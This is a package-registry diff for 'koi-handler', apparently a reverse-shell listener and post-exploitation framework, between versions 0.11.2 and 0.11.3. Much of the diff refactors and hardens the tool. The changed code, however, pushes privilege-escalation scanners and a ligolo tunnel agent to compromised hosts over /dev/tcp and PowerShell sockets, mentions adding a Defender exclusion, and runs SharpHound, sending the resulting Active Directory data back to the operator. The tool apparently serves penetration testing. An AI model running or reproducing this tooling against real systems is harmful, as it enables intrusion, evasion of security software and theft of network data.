koi-handler 0.11.2__tar.gz → 0.11.3__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (65) hide show
  1. {koi_handler-0.11.2/src/koi_handler.egg-info → koi_handler-0.11.3}/PKG-INFO +1 -1
  2. {koi_handler-0.11.2 → koi_handler-0.11.3}/pyproject.toml +1 -1
  3. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/listener.py +15 -21
  4. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/blueprint.py +52 -5
  5. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/download.py +15 -5
  6. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/ligolo.py +6 -27
  7. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/peas.py +7 -32
  8. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/sharphound.py +36 -33
  9. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/tcp.py +17 -9
  10. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/ui.py +29 -0
  11. {koi_handler-0.11.2 → koi_handler-0.11.3/src/koi_handler.egg-info}/PKG-INFO +1 -1
  12. {koi_handler-0.11.2 → koi_handler-0.11.3}/LICENSE +0 -0
  13. {koi_handler-0.11.2 → koi_handler-0.11.3}/setup.cfg +0 -0
  14. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/main.py +0 -0
  15. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/mcp/__init__.py +0 -0
  16. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/mcp/schema.py +0 -0
  17. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/mcp/server.py +0 -0
  18. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/duplicate.py +0 -0
  19. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/env_dump.py +0 -0
  20. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/get_processes.py +0 -0
  21. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/get_users.py +0 -0
  22. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/loader.py +0 -0
  23. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/network_enum.py +0 -0
  24. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/populate_win.py +0 -0
  25. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/secrets_dump.py +0 -0
  26. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/sysinfo.py +0 -0
  27. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/upload.py +0 -0
  28. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/upload64.py +0 -0
  29. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/wifi_enum.py +0 -0
  30. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/modules/winscalate.py +0 -0
  31. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/session.py +0 -0
  32. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/tunnel/__init__.py +0 -0
  33. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/tunnel/agent_payload.py +0 -0
  34. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/tunnel/engine/__init__.py +0 -0
  35. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/tunnel/engine/__main__.py +0 -0
  36. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/tunnel/engine/agent.py +0 -0
  37. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/tunnel/engine/packet.py +0 -0
  38. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/tunnel/engine/proxy.py +0 -0
  39. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/tunnel/engine/stack.py +0 -0
  40. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/tunnel/engine/tcp.py +0 -0
  41. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/tunnel/engine/transport.py +0 -0
  42. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/tunnel/engine/tun.py +0 -0
  43. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/tunnel/manager.py +0 -0
  44. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/__init__.py +0 -0
  45. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/bash_obfuscate.py +0 -0
  46. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/cache.py +0 -0
  47. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/cli.py +0 -0
  48. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/config.py +0 -0
  49. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/connect/__init__.py +0 -0
  50. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/connect/base.py +0 -0
  51. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/connect/ssh.py +0 -0
  52. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/constants.py +0 -0
  53. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/detect.py +0 -0
  54. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/interact.py +0 -0
  55. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/logger.py +0 -0
  56. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/models.py +0 -0
  57. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/obfuscate_ui.py +0 -0
  58. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/payloads.py +0 -0
  59. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/powerupgrade.py +0 -0
  60. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi/utils/ps_obfuscate.py +0 -0
  61. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi_handler.egg-info/SOURCES.txt +0 -0
  62. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi_handler.egg-info/dependency_links.txt +0 -0
  63. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi_handler.egg-info/entry_points.txt +0 -0
  64. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi_handler.egg-info/requires.txt +0 -0
  65. {koi_handler-0.11.2 → koi_handler-0.11.3}/src/koi_handler.egg-info/top_level.txt +0 -0
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: koi-handler
3
- Version: 0.11.2
3
+ Version: 0.11.3
4
4
  Summary: Reverse shell listener
5
5
  Requires-Python: >=3.10
6
6
  License-File: LICENSE
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
4
4
 
5
5
  [project]
6
6
  name = "koi-handler"
7
- version = "0.11.2"
7
+ version = "0.11.3"
8
8
  description = "Reverse shell listener"
9
9
  requires-python = ">=3.10"
10
10
  dependencies = [
@@ -179,6 +179,18 @@ class Listener:
179
179
  except ValueError:
180
180
  return next((s for s in self._snapshot() if s.tag == ref), None)
181
181
 
182
+ def _require_alive_session(self, ref: str) -> Optional[Session]:
183
+ self._prune()
184
+ sess = self._resolve_session(ref)
185
+ if sess is None:
186
+ notify('error', f"Session {accent(ref)} not found.")
187
+ return None
188
+ if not sess.alive:
189
+ notify('error', f"Session {accent(f'#{sess.id}')} is no longer alive.")
190
+ self._remove(sess.id)
191
+ return None
192
+ return sess
193
+
182
194
  def _session_refs(self) -> list[str]:
183
195
  refs = []
184
196
  for s in self._snapshot():
@@ -689,16 +701,10 @@ class Listener:
689
701
  notify('info', f"Loaded {accent(str(len(modules)))} modules.")
690
702
 
691
703
  def _cmd_upgrade(self, ref: str) -> None:
692
- self._prune()
693
- sess = self._resolve_session(ref)
704
+ sess = self._require_alive_session(ref)
694
705
  if sess is None:
695
- notify('error', f"Session {accent(ref)} not found.")
696
706
  return
697
707
  sid = sess.id
698
- if not sess.alive:
699
- notify('error', f"Session {accent(f'#{sid}')} is no longer alive.")
700
- self._remove(sid)
701
- return
702
708
  if sess.upgraded:
703
709
  notify('warning', f"Session {accent(f'#{sid}')} is already upgraded.")
704
710
  if not yesno("Do you want to try upgrading again?"):
@@ -760,16 +766,10 @@ class Listener:
760
766
  notify('success', f"Session {accent(f'#{sid}')} terminated.")
761
767
 
762
768
  def _cmd_go(self, ref: str) -> None:
763
- self._prune()
764
- sess = self._resolve_session(ref)
769
+ sess = self._require_alive_session(ref)
765
770
  if sess is None:
766
- notify('error', f"Session {accent(ref)} not found.")
767
771
  return
768
772
  sid = sess.id
769
- if not sess.alive:
770
- notify('error', f"Session {accent(f'#{sid}')} is no longer alive.")
771
- self._remove(sid)
772
- return
773
773
 
774
774
  ip, port = sess.addr
775
775
  is_windows_pty = sess.os_type in ("windows_cmd", "windows_ps") and sess.upgraded
@@ -852,16 +852,10 @@ class Listener:
852
852
  print_report_box("Modules", data)
853
853
 
854
854
  def _cmd_run(self, mod_name: str, ref: str, mod_args: list) -> None:
855
- self._prune()
856
- sess = self._resolve_session(ref)
855
+ sess = self._require_alive_session(ref)
857
856
  if sess is None:
858
- notify('error', f"Session {accent(ref)} not found.")
859
857
  return
860
858
  sid = sess.id
861
- if not sess.alive:
862
- notify('error', f"Session {accent(f'#{sid}')} is no longer alive.")
863
- self._remove(sid)
864
- return
865
859
 
866
860
  mod_cls = get_module(mod_name)
867
861
  if mod_cls is None:
@@ -14,6 +14,7 @@ from typing import TYPE_CHECKING, Callable, Iterator, List, Literal, Optional, U
14
14
  if TYPE_CHECKING:
15
15
  from koi.session import Session
16
16
 
17
+ from koi.utils.cache import cache_path, fetch_or_cache
17
18
  from koi.utils.config import TIMEOUTS
18
19
  from koi.utils.constants import ANSI_RE, SOCKET_BUFFER_SIZE
19
20
  from koi.utils.models import CommandResult, StreamLine
@@ -28,11 +29,8 @@ import argparse
28
29
 
29
30
  _PS_PROMPT = re.compile(r'^PS\s+\S+>\s*')
30
31
 
31
- # Lines exec_stream holds while learning whether the shell echoes.
32
32
  _ECHO_PREAMBLE_LINES = 8
33
33
  _SELECT_TIMEOUT = 0.1
34
- # Ceilings so a command that streams endlessly (or without newlines) cannot grow
35
- # unbounded in memory while exec() waits for its sentinel or its timeout.
36
34
  _MAX_EXEC_OUTPUT_BYTES = 8 * 1024 * 1024
37
35
  _MAX_LINE_BYTES = 1024 * 1024
38
36
 
@@ -361,7 +359,10 @@ class KoiModule(ABC):
361
359
  """Transfer *raw* bytes to *dest* on a Linux target via /dev/tcp."""
362
360
  local_ip = self._get_local_ip()
363
361
  quoted = self._shell_quote(dest)
364
- port, thread, errors = spawn_send_server(raw, timeout=timeout, on_progress=on_progress)
362
+ port, thread, errors = spawn_send_server(
363
+ raw, timeout=timeout, on_progress=on_progress,
364
+ expected_ip=self.session.addr[0],
365
+ )
365
366
  result = self.exec(f"cat < /dev/tcp/{local_ip}/{port} > {quoted}", timeout=timeout)
366
367
  thread.join(timeout=timeout)
367
368
 
@@ -393,7 +394,10 @@ class KoiModule(ABC):
393
394
  "$ExecutionContext.SessionState.Path."
394
395
  f"GetUnresolvedProviderPathFromPSPath('{ps_dest}')"
395
396
  )
396
- port, thread, errors = spawn_send_server(raw, timeout=timeout, on_progress=on_progress)
397
+ port, thread, errors = spawn_send_server(
398
+ raw, timeout=timeout, on_progress=on_progress,
399
+ expected_ip=self.session.addr[0],
400
+ )
397
401
  ps_cmd = (
398
402
  f"$_c=New-Object Net.Sockets.TcpClient('{local_ip}',{port});"
399
403
  f"$_s=$_c.GetStream();"
@@ -429,6 +433,49 @@ class KoiModule(ABC):
429
433
  return self._upload_bytes_lin(raw, dest, timeout, on_progress)
430
434
  return self._upload_bytes_win(raw, dest, timeout, on_progress)
431
435
 
436
+ def _fetch_and_deploy(
437
+ self,
438
+ dest: str,
439
+ *,
440
+ url: Optional[str] = None,
441
+ cache_key: Optional[str] = None,
442
+ raw: Optional[bytes] = None,
443
+ label: Optional[str] = None,
444
+ chmod: bool = False,
445
+ timeout: Optional[float] = None,
446
+ ) -> Optional[bytes]:
447
+ """Fetch a resource (or use provided bytes) and upload it to the target.
448
+
449
+ Returns the raw bytes on success, None on failure.
450
+ """
451
+ if raw is None:
452
+ display = label or cache_key or "resource"
453
+ with self.spinner(f"Fetching {display}..."):
454
+ try:
455
+ raw, source = fetch_or_cache(url, cache_key)
456
+ except Exception as exc:
457
+ self.err(f"Could not fetch {display}: {exc}")
458
+ return None
459
+ if source == "cache":
460
+ self.ok(f"Using cached {display} ({cache_path(cache_key)})")
461
+
462
+ timeout = timeout or max(TIMEOUTS["upload"], len(raw) // 50_000 + 30)
463
+
464
+ bar = self.ui.ProgressBar(total=len(raw))
465
+ self.status(f"Uploading {label or 'file'} -> {dest} ({len(raw):,} bytes)...")
466
+ ok = self._upload_bytes(raw, dest, timeout=timeout, on_progress=bar.update)
467
+ bar.done()
468
+ print()
469
+
470
+ if not ok:
471
+ self.err("Transfer failed.")
472
+ return None
473
+
474
+ if chmod and self.session.os_type == "linux":
475
+ self.exec(f"chmod +x {self._shell_quote(dest)}")
476
+
477
+ return raw
478
+
432
479
  def run_module(self, io_timeout: Optional[float] = None) -> None:
433
480
  """Run the module while owning the session socket throughout.
434
481
 
@@ -102,7 +102,8 @@ class DownloadModule(KoiModule):
102
102
  if not is_dir:
103
103
  bar = self.ui.ProgressBar(total=remote_size or 0)
104
104
  with TCPReceiveServer(
105
- timeout=TIMEOUTS.get("download", 300), on_progress=bar.update
105
+ timeout=TIMEOUTS.get("download", 300), on_progress=bar.update,
106
+ expected_ip=self.session.addr[0],
106
107
  ) as srv:
107
108
  port = srv.port
108
109
  self.status(
@@ -161,7 +162,8 @@ class DownloadModule(KoiModule):
161
162
  bar = self.ui.ProgressBar(total=remote_size or 0)
162
163
 
163
164
  if os_type == "linux":
164
- with TCPReceiveServer(timeout=_DIR_TIMEOUT, on_progress=bar.update) as srv:
165
+ with TCPReceiveServer(timeout=_DIR_TIMEOUT, on_progress=bar.update,
166
+ expected_ip=self.session.addr[0]) as srv:
165
167
  port = srv.port
166
168
  self.status(
167
169
  f"Downloading {remote_path}/"
@@ -179,7 +181,8 @@ class DownloadModule(KoiModule):
179
181
  return
180
182
 
181
183
  else:
182
- with TCPReceiveServer(timeout=_DIR_TIMEOUT, on_progress=bar.update) as srv:
184
+ with TCPReceiveServer(timeout=_DIR_TIMEOUT, on_progress=bar.update,
185
+ expected_ip=self.session.addr[0]) as srv:
183
186
  port = srv.port
184
187
  self.status(
185
188
  f"Downloading {remote_path}\\"
@@ -239,8 +242,15 @@ class DownloadModule(KoiModule):
239
242
  file_count = sum(1 for m in tar.getmembers() if m.isfile())
240
243
  else:
241
244
  with zipfile.ZipFile(io.BytesIO(raw)) as zf:
242
- zf.extractall(path=local_out)
243
- file_count = sum(1 for n in zf.namelist() if not n.endswith("/"))
245
+ base = os.path.abspath(local_out)
246
+ safe = [
247
+ info for info in zf.infolist()
248
+ if os.path.abspath(os.path.join(local_out, info.filename)) == base
249
+ or os.path.abspath(os.path.join(local_out, info.filename)).startswith(base + os.sep)
250
+ ]
251
+ for info in safe:
252
+ zf.extract(info, path=local_out)
253
+ file_count = sum(1 for i in safe if not i.filename.endswith("/"))
244
254
  except zipfile.BadZipFile as exc:
245
255
  self.err(f"Received incomplete archive — {exc}")
246
256
  return
@@ -4,7 +4,6 @@ import io
4
4
  import json
5
5
  import re
6
6
  import tarfile
7
- import time
8
7
  import zipfile
9
8
 
10
9
  from koi.modules.blueprint import KoiModule
@@ -192,37 +191,17 @@ class LigoloModule(KoiModule):
192
191
  )
193
192
  self.status(f"Defender exclusion added for {dest_dir}")
194
193
 
195
- self.status(f"Uploading to {dest}...")
196
- transfer_timeout = max(60, len(agent_bytes) // 50_000 + 30)
197
- bar = self.ui.ProgressBar(total=len(agent_bytes))
198
- ok = self._upload_bytes(agent_bytes, dest, timeout=transfer_timeout, on_progress=bar.update)
199
- bar.done()
200
- print()
201
-
202
- if not ok:
203
- self.err("Upload failed or file not present on target after transfer.")
194
+ raw = self._fetch_and_deploy(
195
+ dest, raw=agent_bytes, label="ligolo agent",
196
+ chmod=(os_name == "linux"),
197
+ )
198
+ if raw is None:
204
199
  return
205
200
 
206
- time.sleep(1.5)
207
-
208
- if os_name == "linux":
209
- quoted = self._shell_quote(dest)
210
- result = self.exec(f"test -s {quoted} && echo OK || echo MISS")
211
- if "OK" not in result.stdout:
212
- self.err("Upload failed or file not present on target after transfer.")
213
- return
214
- self.exec(f"chmod +x {quoted}")
215
- else:
216
- check = self._win_query(f"(Test-Path '{self._ps_quote(dest)}').ToString()")
217
- if check.strip().lower() != "true":
218
- self.err("Upload failed or file not present on target after transfer.")
219
- return
220
-
221
- print()
222
201
  self.box("ligolo-ng agent deployed", {
223
202
  "version": tag,
224
203
  "asset": asset["name"],
225
204
  "arch": arch,
226
205
  "remote": dest,
227
- "size": f"{len(agent_bytes)} bytes ({len(agent_bytes)/1024:.1f} KB)",
206
+ "size": f"{len(raw)} bytes ({len(raw)/1024:.1f} KB)",
228
207
  })
@@ -1,10 +1,6 @@
1
1
  from __future__ import annotations
2
2
 
3
- import shlex
4
-
5
3
  from koi.modules.blueprint import KoiModule
6
- from koi.utils.cache import cache_path, fetch_or_cache
7
- from koi.utils.config import TIMEOUTS
8
4
 
9
5
  LINPEAS_URL = "https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh"
10
6
  WINPEAS_URL = "https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASx64.exe"
@@ -33,43 +29,22 @@ class PeasModule(KoiModule):
33
29
  ]
34
30
 
35
31
  def run(self) -> None:
36
- os_type = self.session.os_type
37
-
38
- if os_type == "linux":
32
+ if self.session.os_type == "linux":
39
33
  url, name = LINPEAS_URL, "linpeas.sh"
40
34
  dest = self.args.output or f"./{name}"
41
35
  else:
42
36
  url, name = WINPEAS_URL, "winPEASx64.exe"
43
37
  dest = self.args.output or f".\\{name}"
44
38
 
45
- with self.spinner(f"Fetching {name}..."):
46
- try:
47
- raw, source = fetch_or_cache(url, name)
48
- except Exception as exc:
49
- self.err(f"Could not fetch {name}: {exc}")
50
- return
51
-
52
- if source == "cache":
53
- self.ok(f"Using cached {name} ({cache_path(name)})")
54
- else:
55
- self.ok(f"{name} fetched from PEASS-ng releases")
56
-
57
- total = len(raw)
58
- bar = self.ui.ProgressBar(total=total)
59
- self.status(f"Uploading {name} -> {dest} ({total} bytes)...")
60
- ok = self._upload_bytes(raw, dest, timeout=TIMEOUTS["upload"], on_progress=bar.update)
61
- bar.done()
62
- print()
63
-
64
- if not ok:
65
- self.err("Transfer failed.")
39
+ raw = self._fetch_and_deploy(
40
+ dest, url=url, cache_key=name, label=name,
41
+ chmod=(self.session.os_type == "linux"),
42
+ )
43
+ if raw is None:
66
44
  return
67
45
 
68
- if os_type == "linux":
69
- self.exec(f"chmod +x {shlex.quote(dest)}")
70
-
71
46
  self.box("Upload complete", {
72
47
  "tool": name,
73
48
  "remote path": dest,
74
- "size": f"{total} bytes ({total/1024:.1f} KB)",
49
+ "size": f"{len(raw)} bytes ({len(raw)/1024:.1f} KB)",
75
50
  })
@@ -96,40 +96,43 @@ class SharpHoundModule(KoiModule):
96
96
  ) -> tuple[str, bytes]:
97
97
  """Run SharpHound on target, return (status, payload)."""
98
98
  local_ip = self._get_local_ip()
99
- srv = TCPReceiveServer(timeout=timeout).start()
100
- port = srv.port
99
+ with TCPReceiveServer(
100
+ timeout=timeout, expected_ip=self.session.addr[0],
101
+ ) as srv:
102
+ port = srv.port
103
+
104
+ ps_cmd = (
105
+ f"$ErrorActionPreference='Continue';"
106
+ f"$work=(Get-Item '{work_dir}').FullName;"
107
+ f"$exe=Join-Path $work '{exe_name}';"
108
+ f"$log=Join-Path $work '{log_name}';"
109
+ f"$payload=$null;"
110
+ f"try{{"
111
+ f" Push-Location $work;"
112
+ f" & $exe -c {collection} --outputdirectory $work *>&1 | Out-File -FilePath $log -Encoding utf8;"
113
+ f" Pop-Location;"
114
+ f" $zip=Get-ChildItem -Path $work -Filter '*_BloodHound.zip' -ErrorAction SilentlyContinue | Select-Object -First 1 -ExpandProperty FullName;"
115
+ f" if($zip -and (Test-Path $zip)){{"
116
+ f" $b=[IO.File]::ReadAllBytes($zip);"
117
+ f" $h=[Text.Encoding]::UTF8.GetBytes('OK:');"
118
+ f" $payload=New-Object byte[] ($h.Length+$b.Length);"
119
+ f" [Array]::Copy($h,0,$payload,0,$h.Length);"
120
+ f" [Array]::Copy($b,0,$payload,$h.Length,$b.Length);"
121
+ f" }}else{{"
122
+ f" $logTxt=if(Test-Path $log){{[IO.File]::ReadAllText($log)}}else{{'(no log file produced)'}};"
123
+ f" $payload=[Text.Encoding]::UTF8.GetBytes('ERR:'+$logTxt);"
124
+ f" }}"
125
+ f"}}catch{{"
126
+ f" $payload=[Text.Encoding]::UTF8.GetBytes('EXC:'+$_.ToString());"
127
+ f"}}"
128
+ f"$_c=New-Object Net.Sockets.TcpClient('{local_ip}',{port});"
129
+ f"$_s=$_c.GetStream();"
130
+ f"$_s.Write($payload,0,$payload.Length);"
131
+ f"$_s.Flush();$_c.Close()"
132
+ )
133
+ self._dispatch_ps(ps_cmd)
134
+ data = srv.collect()
101
135
 
102
- ps_cmd = (
103
- f"$ErrorActionPreference='Continue';"
104
- f"$work=(Get-Item '{work_dir}').FullName;"
105
- f"$exe=Join-Path $work '{exe_name}';"
106
- f"$log=Join-Path $work '{log_name}';"
107
- f"$payload=$null;"
108
- f"try{{"
109
- f" Push-Location $work;"
110
- f" & $exe -c {collection} --outputdirectory $work *>&1 | Out-File -FilePath $log -Encoding utf8;"
111
- f" Pop-Location;"
112
- f" $zip=Get-ChildItem -Path $work -Filter '*_BloodHound.zip' -ErrorAction SilentlyContinue | Select-Object -First 1 -ExpandProperty FullName;"
113
- f" if($zip -and (Test-Path $zip)){{"
114
- f" $b=[IO.File]::ReadAllBytes($zip);"
115
- f" $h=[Text.Encoding]::UTF8.GetBytes('OK:');"
116
- f" $payload=New-Object byte[] ($h.Length+$b.Length);"
117
- f" [Array]::Copy($h,0,$payload,0,$h.Length);"
118
- f" [Array]::Copy($b,0,$payload,$h.Length,$b.Length);"
119
- f" }}else{{"
120
- f" $logTxt=if(Test-Path $log){{[IO.File]::ReadAllText($log)}}else{{'(no log file produced)'}};"
121
- f" $payload=[Text.Encoding]::UTF8.GetBytes('ERR:'+$logTxt);"
122
- f" }}"
123
- f"}}catch{{"
124
- f" $payload=[Text.Encoding]::UTF8.GetBytes('EXC:'+$_.ToString());"
125
- f"}}"
126
- f"$_c=New-Object Net.Sockets.TcpClient('{local_ip}',{port});"
127
- f"$_s=$_c.GetStream();"
128
- f"$_s.Write($payload,0,$payload.Length);"
129
- f"$_s.Flush();$_c.Close()"
130
- )
131
- self._dispatch_ps(ps_cmd)
132
- data = srv.collect()
133
136
  if data.startswith(b"OK:"):
134
137
  return "ok", data[3:]
135
138
  if data.startswith(b"ERR:"):
@@ -101,9 +101,11 @@ def spawn_send_server(
101
101
 
102
102
 
103
103
  class TCPReceiveServer:
104
- def __init__(self, timeout: float = TIMEOUTS["download"], on_progress=None):
104
+ def __init__(self, timeout: float = TIMEOUTS["download"], on_progress=None,
105
+ expected_ip: Optional[str] = None):
105
106
  self._timeout = timeout
106
107
  self._on_progress = on_progress
108
+ self._expected_ip = expected_ip
107
109
  self._sock = None
108
110
  self._done = threading.Event()
109
111
  self._data = b""
@@ -118,29 +120,35 @@ class TCPReceiveServer:
118
120
  return self
119
121
 
120
122
  def _run(self) -> None:
121
- buf = b""
123
+ chunks: list[bytes] = []
124
+ total = 0
122
125
  try:
123
- conn, _ = self._sock.accept()
126
+ conn = None
127
+ while conn is None:
128
+ candidate, peer = self._sock.accept()
129
+ if self._expected_ip is not None and peer[0] != self._expected_ip:
130
+ candidate.close()
131
+ continue
132
+ conn = candidate
124
133
  conn.settimeout(self._timeout)
125
134
  try:
126
135
  while chunk := conn.recv(SOCKET_BUFFER_SIZE):
127
- buf += chunk
136
+ chunks.append(chunk)
137
+ total += len(chunk)
128
138
  if self._on_progress:
129
- self._on_progress(len(buf))
139
+ self._on_progress(total)
130
140
  except socket.timeout:
131
- # No clean EOF: the buffer is partial, so fail instead of returning it.
132
- self._error = f"receive stalled after {len(buf)} bytes"
141
+ self._error = f"receive stalled after {total} bytes"
133
142
  finally:
134
143
  conn.close()
135
144
  except Exception as exc:
136
145
  self._error = str(exc)
137
146
  finally:
138
- self._data = buf
147
+ self._data = b"".join(chunks)
139
148
  self._close()
140
149
  self._done.set()
141
150
 
142
151
  def collect(self) -> bytes:
143
- # _run always sets _done (socket timeouts bound it); a deadline here could fire mid-transfer.
144
152
  self._done.wait()
145
153
  if self._error:
146
154
  raise RuntimeError(self._error)
@@ -140,6 +140,25 @@ def _vlen(s) -> int:
140
140
  return len(_ANSI.sub("", str(s)))
141
141
 
142
142
 
143
+ _C1_AND_CTRL = __import__("re").compile(r'[\x00-\x08\x0b\x0c\x0e-\x1a\x1c-\x1f\x7f\x80-\x9f]')
144
+
145
+ def _sanitize(text: str) -> str:
146
+ """Strip dangerous escape sequences (OSC, cursor, erase…) but keep SGR (colors/bold).
147
+
148
+ Two passes: the ANSI regex handles ESC-initiated sequences (keeping only
149
+ SGR), then a character-class pass strips C1 single-byte controls (0x80-0x9F,
150
+ which some terminals interpret as CSI/OSC/DCS without a leading ESC) and
151
+ other dangerous C0 controls. TAB, LF, CR and ESC are preserved.
152
+ """
153
+ def _keep_sgr(m: "re.Match[str]") -> str:
154
+ seq = m.group(0)
155
+ if seq.startswith("\033[") and seq.endswith("m"):
156
+ return seq
157
+ return ""
158
+ result = _ANSI.sub(_keep_sgr, str(text))
159
+ return _C1_AND_CTRL.sub("", result)
160
+
161
+
143
162
  def _ansi_tokens(text: str):
144
163
  tokens = []
145
164
  pos = 0
@@ -265,6 +284,13 @@ def print_report_box(title, data_dict, top_left_color=PUMPKIN, bottom_right_colo
265
284
  if not data_dict:
266
285
  return
267
286
 
287
+ data_dict = {
288
+ _sanitize(k): {_sanitize(sk): _sanitize(sv) for sk, sv in v.items()}
289
+ if isinstance(v, dict)
290
+ else _sanitize(v)
291
+ for k, v in data_dict.items()
292
+ }
293
+
268
294
  categorized = any(isinstance(v, dict) for v in data_dict.values())
269
295
 
270
296
  if categorized:
@@ -370,6 +396,9 @@ def print_table(
370
396
  if not headers or not rows:
371
397
  return
372
398
 
399
+ headers = [_sanitize(h) for h in headers]
400
+ rows = [[_sanitize(cell) for cell in row] for row in rows]
401
+
373
402
  terminal_width = shutil.get_terminal_size().columns
374
403
  n_cols = len(headers)
375
404
 
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: koi-handler
3
- Version: 0.11.2
3
+ Version: 0.11.3
4
4
  Summary: Reverse shell listener
5
5
  Requires-Python: >=3.10
6
6
  License-File: LICENSE
File without changes
File without changes